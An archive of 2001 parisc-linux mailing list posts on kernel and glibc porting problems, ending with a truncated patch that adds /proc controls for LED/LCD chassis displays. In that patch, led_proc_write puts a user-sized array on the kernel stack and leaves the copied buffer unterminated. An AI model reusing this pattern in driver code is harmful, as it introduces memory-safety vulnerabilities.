Matthew Wilcox wrote:
> What it's doing here is trying to run the keyboard_tasklet, which seems
> to be disabled, so it reschedules it... ad infinitum.  More investigation
> required, but I'm on the track, I think.

I was browsing commits made between -pa19 (I think worked) and -pa30 
(know it didn't work...could have been -pa32).  That got me looking
at -pa21 commit, changing the order of device detect and other init
calls.  Comments in include/asm-parisc/keyboard.h suggest the
initialization sequence is holy for kbd-ops usage. Still poking
around there.

BTW, rbrad doesn't think that commit got tested with CONFIG_SMP enabled
and noted that smp_init() is now *before* device detection.
Another lead to followup.

grant 




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP-UX binary compatibility
Date: Sat, 6 Oct 2001 09:58:51 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20011006075920.EF99A4830@dsl2.external.hp.com>
References: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D869@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620579 27185 80.91.229.3 (22 Nov 2014 01:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:59 +0000 (UTC)
Cc: "Uetrecht, Daniel J." <uetrecht@umr.edu>
To: "Neulinger, Nathan" <nneul@umr.edu>,
	"'John Marvin'" <jsm@udlkern.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 01:59:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id EF99A4830
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 01:59:20 -0600 (MDT)
Original-Received: (qmail 28520 invoked by uid 0); 6 Oct 2001 07:59:18 -0000
Original-Received: from pd90403e3.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.227)
  by mail.gmx.net (mp002-rz3) with SMTP; 6 Oct 2001 07:59:18 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D869@umr-mail03.cc.umr.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:12498

Hi Nathan,

I just verified and the /proc/cpuinfo entry was removed in the meantime.
But with the following code-fragment you will get the right number:

#include <asm/processor.h>
printk("ID: %ld\n", boot_cpu_data.pdc.model.sw_id);

This value is initialized during boot-up in setup.c and comes from the 
PDC_MODEL [pdc_model_info()] syscall.

Greetings,
Helge

On Friday 05 October 2001 17:14, Neulinger, Nathan wrote:
> Hmm... Doesn't appear to be in there. At the moment, I actually could care
> less about the real host id, but if the proc entry was overwritable, that
> would solve my needs perfectly. At the moment, in my local kernel source, I
> just wired the appropriate return values in the system call wrapper.
>
> -- Nathan
>
> > -----Original Message-----
> > From: Helge Deller [mailto:helge.deller@sap.com]
> > Sent: Friday, October 05, 2001 3:18 AM
> > To: Neulinger, Nathan; 'John Marvin';
> > parisc-linux@lists.parisc-linux.org
> > Cc: Uetrecht, Daniel J.
> > Subject: Re: [parisc-linux] HP-UX binary compatibility
> >
> >
> > Hi Nathan,
> >
> > On Thursday 04 October 2001 17:07, Neulinger, Nathan wrote:
> > > troot-halley(11)> uname -a
> > > HP-UX halley B.10.20 A 9000/735 2002000004 two-user license
> > > troot-halley(12)> uname -i
> > > 2002000004
> > >
> > > It's that 2002000004 that I need.
> >
> > I currently don't have access to a parisc-linux machine, but out of
> > my head I think you may get that number from the /proc/cpuinfo file
> > (maybe it is displayed there in hex) and may use it from the variable
> > behind this output for your syscall wrapper.
> >
> > Greetings,
> > Helge





From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCXS fixes
Date: Sat, 6 Oct 2001 10:41:30 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20011006104130.A18068@dogbert.localdomain>
References: <200110030832.CAA10917@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="82I3+IH0IqGh5yIs"
X-Trace: ger.gmane.org 1416620579 27187 80.91.229.3 (22 Nov 2014 01:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 02:42:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CCFA4830
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 02:42:45 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15pn2f-0001Ih-00
	for parisc-linux@lists.parisc-linux.org; Sat, 06 Oct 2001 10:42:41 +0200
Original-Received: (qmail 3071 invoked from network); 6 Oct 2001 08:42:41 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 6 Oct 2001 08:42:41 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15pn1W-0004i4-00; Sat, 06 Oct 2001 10:41:30 +0200
Content-Disposition: inline
In-Reply-To: <200110030832.CAA10917@udlkern.fc.hp.com>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15pn2f-0001Ih-00*oWoUuAP9peY* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12499

--82I3+IH0IqGh5yIs
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Wed, 03 Oct 2001, John Marvin wrote:

<snip>

> However, ls still hangs randomly (actually it is not random, it depends on
> which directory the ls is done in).  It gets stuck in a ldcw loop due to
> the lock word not being 16 byte aligned.  The problem is that we fixed the
> alignment problems for static and dynamic allocations, but the align
> attribute is ignored for automatic (stack) allocations. Note that
> although ldcw requires 16 byte alignment for correct function, it does
> not cause an unaligned fault if the address is not aligned, it just
> doesn't work correctly!
>=20
> Here are some suggested fixes:
>=20
>     1) Fix the compiler to honor the aligned attribute for stack
>     allocations. I'm not sure how difficult this would be. I'm
>     not a compiler person, so someone else would have to do this.
>     I would guess that this problem is in the machine independent
>     part of the compiler. I'm not sure whether or not it would
>     be considered a bug. It might be worth writing a test for
>     the 386 version of gcc, and if it fails, report the "bug" and
>     see what happens ...
>=20
>     2) Change the lock structure to have 4 contiguous lock words, each
>     initialized to 1.  Then the lock code can round the address up to the
>     nearest 16 byte aligned address and use that for the semaphore.  If we
>     choose this solution we can just get rid of the aligned attribute,
>     since it would no longer serve any purpose.

As anyone decided on what do here? What would the test that John
mentions entail? How difficult is the second solution to implement?

Regards,

Albert

--82I3+IH0IqGh5yIs
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7vsO6Dg+hOeRZtkMRAhljAJ4pzBmWI9hDB5o80wPqsKc96auLFwCcDbtq
DIaEiaZODeFkufJV7txaxI8=
=S3LF
-----END PGP SIGNATURE-----

--82I3+IH0IqGh5yIs--




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] review of Documentation/parisc/unwritten
Date: Sat, 6 Oct 2001 03:19:58 -0600
Lines: 64
Approved: news@gmane.org
Message-ID: <200110060919.DAA06756@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620579 27188 80.91.229.3 (22 Nov 2014 01:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 03:22:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6001C4830
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 03:22:59 -0600 (MDT)
Original-Received: (from grundler@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id DAA06756
	for parisc-linux@lists.parisc-linux.org; Sat, 6 Oct 2001 03:19:58 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:12500

Hi all,
In summary, it looks like unwritten file can be deleted.
Notes from reviewing Documentation/parisc/unwritten are appended.

I'll delete things marked delete unless someone tells me otherwise
by early next week.

Please give feedback on items marked "review?".
It means I didn't know what to do but status quo didn't seem right either.

thanks,
grant


sys_idle	./include/asm-parisc/unistd.h
		obsolete - delete usage.

reboot_setup()	arch/parisc/kernel/process.c
		not used. delete function.

machine_halt		BUG. NOP.  Should update LEDs/ChassisCode.
machine_power_on	obsolete - delete it
		arch/parisc/kernel/process.c

exit_thread		NOP is ok.
flush_thread		review?
		arch/parisc/kernel/process.c.
		Only needs to handle fpu stuff or perf monitors.
		(several arches implement a "lazy fpu state"...interesting)

strlen_user	include/asm-parisc/uaccess.h
		#define strlen_user(str) lstrnlen_user(str, 0x7fffffffL)
		review?

do_check_pgt_cache	arch/parisc/mm/init.c
		NOP. this seems wrong.
		all the other arches have (about) the same thing here.
		sparc64 has some CONFIG_SMP in it.

set_pte_phys	arch/parisc/mm/init.c
		orphaned. delete it.

check_bugs	include/asm-parisc/bugs.h
		NOP. Check for CPU bugs or misconfigured kernel.
		review?

csum_partial_copy
csum_partial_copy_from_user
		arch/parisc/lib/checksum.c
		We want optimized asm for both of those.
		Willy reminded me to pester someone in HP about this.

sigaddset
sigdelset	include/linux/signal.h
		Only i386 and m68k define __HAVE_ARCH_SIG_BITOPS.
		parisc ends up using "generic" code like most other arches.
		Is this an issue?

get_cycles	include/asm-parisc/timex.h
		Defined as "mfctl(16)". Is this ok?
		Only used in drivers/drm/ and kernel/sched.c.




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] review of Documentation/parisc/unwritten
Date: Sat, 6 Oct 2001 12:37:19 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20011006103736.7551D4830@dsl2.external.hp.com>
References: <200110060919.DAA06756@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620579 27193 80.91.229.3 (22 Nov 2014 01:42:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:59 +0000 (UTC)
To: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 04:37:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 7551D4830
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 04:37:36 -0600 (MDT)
Original-Received: (qmail 30819 invoked by uid 0); 6 Oct 2001 10:37:35 -0000
Original-Received: from pd9040d77.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.119)
  by mail.gmx.net (mp009-rz3) with SMTP; 6 Oct 2001 10:37:35 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <200110060919.DAA06756@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12501

Hi Grant,

> machine_halt		BUG. NOP.  Should update LEDs/ChassisCode.
> machine_power_on	obsolete - delete it
> 		arch/parisc/kernel/process.c

The LED/ChassisCodes are already updated by the led_halt() function, called
by the reboot notifier chain. machine_halt() is called by sys_reboot(), so we need
to let it be a NOP, or just #define it as NOP.
machine_power_on could be deleted AFAIT.

> check_bugs	include/asm-parisc/bugs.h
> 		NOP. Check for CPU bugs or misconfigured kernel.
> 		review?

Does the PA CPU has bugs ? :-)

Helge




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Delayed branching explanation
Date: Sat, 6 Oct 2001 09:18:52 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <01100609185201.00995@Wolf-01>
References: <200110031004.EAA15528@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620580 27198 80.91.229.3 (22 Nov 2014 01:43:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 08:19:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vopserver.pflashcom (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89E3748E0
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 08:19:45 -0600 (MDT)
Original-Received: from Wolf-01 (ppp54.cc1.pflash.com [63.121.24.56]) by vopserver.pflashcom
 (Vircom SMTPRS 4.7.191) with SMTP id <B0007195674@vopserver.pflashcom>;
 Sat, 6 Oct 2001 09:24:17 -0500
X-Mailer: KMail [version 1.2]
In-Reply-To: <200110031004.EAA15528@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12502

On Wednesday 03 October 2001 05:04 am, John Marvin wrote:
>
> I'll try to explain it here. Perhaps I can explain it clearer than how
> the parisc documentation explains it (then again, perhaps not :-)).
>
John,

Thanks a lot.

Soon, maybe, somehow - I will have my 9000/720-50 setup again
and running - then I will be able to learn these things on my own.

Mike




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Glibc 2.2.4-2 Woes...
Date: Sat, 6 Oct 2001 13:55:58 -0400
Lines: 73
Approved: news@gmane.org
Message-ID: <20011006135558.B8206@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620580 27201 80.91.229.3 (22 Nov 2014 01:43:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 11:55:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48FF04900
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 11:55:56 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f96IWkG31522
	for <parisc-linux@lists.parisc-linux.org>; Sat, 6 Oct 2001 14:32:46 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f96Htw310654
	for parisc-linux@lists.parisc-linux.org; Sat, 6 Oct 2001 13:55:58 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@megatonmonkey.net>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:12503

M,

I see what you mean now.
I have glibc 2.2.4-2 compiling all the way to the point where it
starts churning thorugh:

make  -C sunrpc others
make[2]: Entering directory `/home/carlos/palinux/glibc-2.2.4/glibc-2.2.4/sunrpc'
/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/elf/ld.so.1 --library-path /home/carlos/palinux/glibc-2.2.4/hppa-linux/obj:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/math:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/elf:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/dlfcn:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/nss:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/nis:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/rt:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/resolv:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/crypt:/home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/linuxthreads /home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/sunrpc/rpcgen -Y `gcc -print-file-name=cpp | sed 's|/cpp$||'` -c rpcsvc/bootparam_prot.x -o /home/carlos/palinux/glibc-2.2.4/hppa-linux/obj/sunrp
 c/xbootparam_prot.T

At which point I've followed ld down with gdb to:

0x41003198 <_dl_start+1584>:	copy r1,r20
0x4100319c <_dl_start+1588>:	addil 0,r19,%r1
0x410031a0 <_dl_start+1592>:	copy r1,r21
0x410031ac <_dl_start+1604>:	ldw 2c(sr0,r21),r21
0x410031b0 <_dl_start+1608>:	copy r1,r23
0x410031b4 <_dl_start+1612>:	copy r20,r26
0x410031b8 <_dl_start+1616>:    ldw 30(sr0,r23),r23
0x410031bc <_dl_start+1620>:    b,l 0x41012b70 <__assert_fail>,rp
0x410031c0 <_dl_start+1624>:    copy r21,r25
0x410031c4 <_dl_start+1628>:    addil 0,r19,%r1

The assertion fails.
The address in r21/r25 is 0x15b78, which is clearly not a valid
address, and thus dl's printf barfs.

I will add that the address is not always 0x15b78, and it varies.
Which might mean that it's just random stuff being pulled off
the stack (or I haven't been that thorough in tracing the assembly).

#0  _dl_debug_vdprintf (fd=0, tag_p=0, fmt=0x17c94 <Address 0x17c94 out of bounds>,
    arg=0xbff008d8) at dl-misc.c:101
#1  0x4100ebc8 in _dl_dprintf (fd=2, fmt=0x17c94 <Address 0x17c94 out of bounds>)
    at dl-misc.c:279
#2  0x41012bd0 in __assert_fail (assertion=0x15b64 <Address 0x15b64 out of bounds>,
    file=0x0, line=62, function=0xbff008d8 "") at dl-minimal.c:190
#3  0x410031c4 in _dl_start (arg=0xbff004f4) at rtld.c:62
#4  0x41002ae8 in _dl_start_user () at rtld.c:143

Program received signal SIGSEGV, Segmentation fault.
_dl_debug_vdprintf (fd=0, tag_p=0, fmt=0x17c94 <Address 0x17c94 out of bounds>,
    arg=0xbff008d8) at dl-misc.c:101
101       while (*fmt != '\0')

I'm completely confused by the usage of the registers.
But that's compiler tuned assembly for you :)

It's not something that clearly jumps out at you, and after
tracing about the assembly, trying to follow what goes where,
It is not any clearer.

It's not a blatently obvious mistake :}

---

I've also noticed that the tests for glibc bail out with:

./tst-iconv1: error while loading shared libraries: ./tst-iconv1: symbol __deregister_frame_info, version GLIBC_2.2 not defined in file libc.so.6 with link time reference

Does __deregister_frame_info and __register_frame_info have to do with
the stack unwinding for DWARF2 vsyscalls?

Both of these functions have weak bindings, and I remember there being
some odd rules about bidning in dl_main.

---

c.




From - Thu Nov 08 21:19:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] /proc interface for LED/LCD
Date: Sat, 6 Oct 2001 13:42:50 -0700
Lines: 412
Approved: news@gmane.org
Message-ID: <20011006134250.I17735@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620580 27204 80.91.229.3 (22 Nov 2014 01:43:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  6 14:43:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58E7A48E0
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Oct 2001 14:43:01 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.4d3e3a24) with ESMTP id swjzhaaa for parisc-linux@lists.parisc-linux.org; Sat, 6 Oct 2001 13:38:34 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15pyHa-0000WZ-00; Sat, 06 Oct 2001 13:42:50 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:12504

hi all,

the attached patch creates a /proc interface for boxes with LED/LCD
support. For example:

legolas:/home/randolph# ls -l /proc/pdc/
total 0
-rw-r--r--    1 root     root            0 Oct  6 13:35 lcd
-rw-r--r--    1 root     root            0 Oct  6 13:35 led
legolas:/home/randolph# cat /proc/pdc/led 
Heartbeat: 1
Disk IO: 1
LAN Rx/Tx: 1
legolas:/home/randolph# cat /proc/pdc/lcd 
Linux 2.4.9-pa40
legolas:/home/randolph# echo -n "debian/rules" > /proc/pdc/lcd

("debian/rules" appears on the LCD on the chassis....)

legolas:/home/randolph# cat /proc/pdc/lcd 
debian/rules
legolas:/home/randolph# echo > /proc/pdc/lcd

(Chassis reverts to original Linux version display)

legolas:/home/randolph# cat /proc/pdc/lcd 
Linux 2.4.9-pa40
legolas:/home/randolph# echo "1 1 0" > /proc/pdc/led

(invalid strings will cause an error to go to your kernel log)

legolas:/home/randolph# cat /proc/pdc/led 
Heartbeat: 1
Disk IO: 1
LAN Rx/Tx: 0

I've only tested it on a c3000 (only machine i have with led/lcd
support). Would appreciate if folks can try it on other machines and let
me know if it works :)

This also requires a small fix to arch/parisc/kernel/firmware.c which i
checked into cvs this morning.

enjoy! :)
randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^


Index: arch/parisc/kernel/led.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/led.c,v
retrieving revision 1.22
diff -u -r1.22 led.c
--- led.c	2001/08/14 16:54:52	1.22
+++ led.c	2001/10/06 20:31:47
@@ -4,6 +4,7 @@
  *      (c) Copyright 2000 Red Hat Software
  *      (c) Copyright 2000 Helge Deller <hdeller@redhat.com>
  *      (c) Copyright 2001 Helge Deller <deller@gmx.de>
+ *      (c) Copyright 2001 Randolph Chung <tausq@debian.org>
  *
  *      This program is free software; you can redistribute it and/or modify
  *      it under the terms of the GNU General Public License as published by
@@ -11,9 +12,8 @@
  *      (at your option) any later version.
  *
  * TODO:
- *	- LCD functionality is mostly untested (lack of hardware :-() 
- *	- add procfs entry to (maybe partially) enable & disable LEDs
  *	- speed-up calculations with inlined assembler
+ *	- interface to write to second row of LCD from /proc
  */
 
 #include <linux/config.h>
@@ -28,6 +28,8 @@
 #include <linux/interrupt.h>
 #include <linux/kernel_stat.h>
 #include <linux/reboot.h>
+#include <linux/proc_fs.h>
+#include <linux/ctype.h>
 #include <asm/io.h>
 #include <asm/gsc.h>
 #include <asm/processor.h>
@@ -35,16 +37,20 @@
 #include <asm/param.h>		/* HZ */
 #include <asm/led.h>
 #include <asm/pdc.h>
+#include <asm/uaccess.h>
 
 /* The control of the LEDs and LCDs on PARISC-machines have to be done 
    completely in software. The necessary calculations are done in a tasklet
    which is scheduled at every timer interrupt and since the calculations 
    may consume relatively much CPU-time some of the calculations can be 
-   turned off with the following defines */
-#undef NO_HEARTBEAT
-#undef NO_DISKIO
-#undef NO_LAN_RXTX
+   turned off with the following variables (controlled via procfs) */
 
+static int led_type = -1;
+static int led_heartbeat = 1;
+static int led_diskio = 1;
+static int led_lanrxtx = 1;
+static char lcd_text[32] = {0};
+
 #if 0
 #define DPRINTK(x)	printk x
 #else
@@ -110,6 +116,132 @@
 /* ptr to LCD/LED-specific function */
 static void (*led_func_ptr) (unsigned char);
 
+#define LED_HASLCD 1
+#define LED_NOLCD  0
+#ifdef CONFIG_PROC_FS
+static int led_proc_read(char *page, char **start, off_t off, int count, 
+	int *eof, void *data)
+{
+	char *out = page;
+	int len;
+
+	switch ((long)data)
+	{
+	case LED_NOLCD:
+		out += sprintf(out, "Heartbeat: %d\n", led_heartbeat);
+		out += sprintf(out, "Disk IO: %d\n", led_diskio);
+		out += sprintf(out, "LAN Rx/Tx: %d\n", led_lanrxtx);
+		break;
+	case LED_HASLCD:
+		out += sprintf(out, "%s\n", lcd_text);
+		break;
+	default:
+		*eof = 1;
+		return 0;
+	}
+
+	len = out - page - off;
+	if (len < count) {
+		*eof = 1;
+		if (len <= 0) return 0;
+	} else {
+		len = count;
+	}
+	*start = page + off;
+	return len;
+}
+
+static int led_proc_write(struct file *file, const char *buf, 
+	unsigned long count, void *data)
+{
+	const char *cur = NULL;
+	char lbuf[count];
+	int d;
+
+	if (!capable(CAP_SYS_ADMIN))
+		return -EACCES;
+
+	lcopy_from_user(lbuf, buf, count);
+	cur = lbuf;
+
+	/* skip initial spaces */
+	while (*cur && isspace(*cur))
+	{
+		cur++;
+	}
+
+	switch ((long)data)
+	{
+	case LED_NOLCD:
+		d = *cur++ - '0';
+		if (d != 0 && d != 1) goto parse_error;
+		led_heartbeat = d;
+
+		if (*cur++ != ' ') goto parse_error;
+
+		d = *cur++ - '0';
+		if (d != 0 && d != 1) goto parse_error;
+		led_diskio = d;
+
+		if (*cur++ != ' ') goto parse_error;
+
+		d = *cur++ - '0';
+		if (d != 0 && d != 1) goto parse_error;
+		led_lanrxtx = d;
+
+		break;
+	case LED_HASLCD:
+		if (*cur == 0) 
+		{
+			/* reset to default */
+			lcd_print("Linux " UTS_RELEASE);
+		}
+		else
+		{
+			lcd_print(cur);
+		}
+		break;
+	default:
+		return 0;
+	}
+	
+	return count;
+
+parse_error:
+	if ((long)data == LED_NOLCD)
+		printk(KERN_CRIT "Parse error: expect \"n n n\" (n == 0 or 1) for heartbeat,\ndisk io and lan tx/rx indicators\n");
+	return -EINVAL;
+}
+
+static int __init led_create_procfs(void)
+{
+	struct proc_dir_entry *proc_pdc_root = NULL;
+	struct proc_dir_entry *ent;
+
+	if (led_type == -1) return -1;
+
+	proc_pdc_root = proc_mkdir("pdc", 0);
+	if (!proc_pdc_root) return -1;
+	ent = create_proc_entry("led", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
+	if (!ent) return -1;
+	ent->nlink = 1;
+	ent->data = (void *)LED_NOLCD; /* LED */
+	ent->read_proc = led_proc_read;
+	ent->write_proc = led_proc_write;
+
+	if (led_type == LED_HASLCD)
+	{
+		ent = create_proc_entry("lcd", S_IFREG|S_IRUGO|S_IWUSR, proc_pdc_root);
+		if (!ent) return -1;
+		ent->nlink = 1;
+		ent->data = (void *)LED_HASLCD; /* LCD */
+		ent->read_proc = led_proc_read;
+		ent->write_proc = led_proc_write;
+	}
+
+	return 0;
+}
+#endif
 
 /*
    ** 
@@ -208,7 +340,6 @@
    ** (analog to dev_get_info() from net/core/dev.c)
    **   
  */
-#ifndef NO_LAN_RXTX
 static unsigned long led_net_rx_counter, led_net_tx_counter;
 
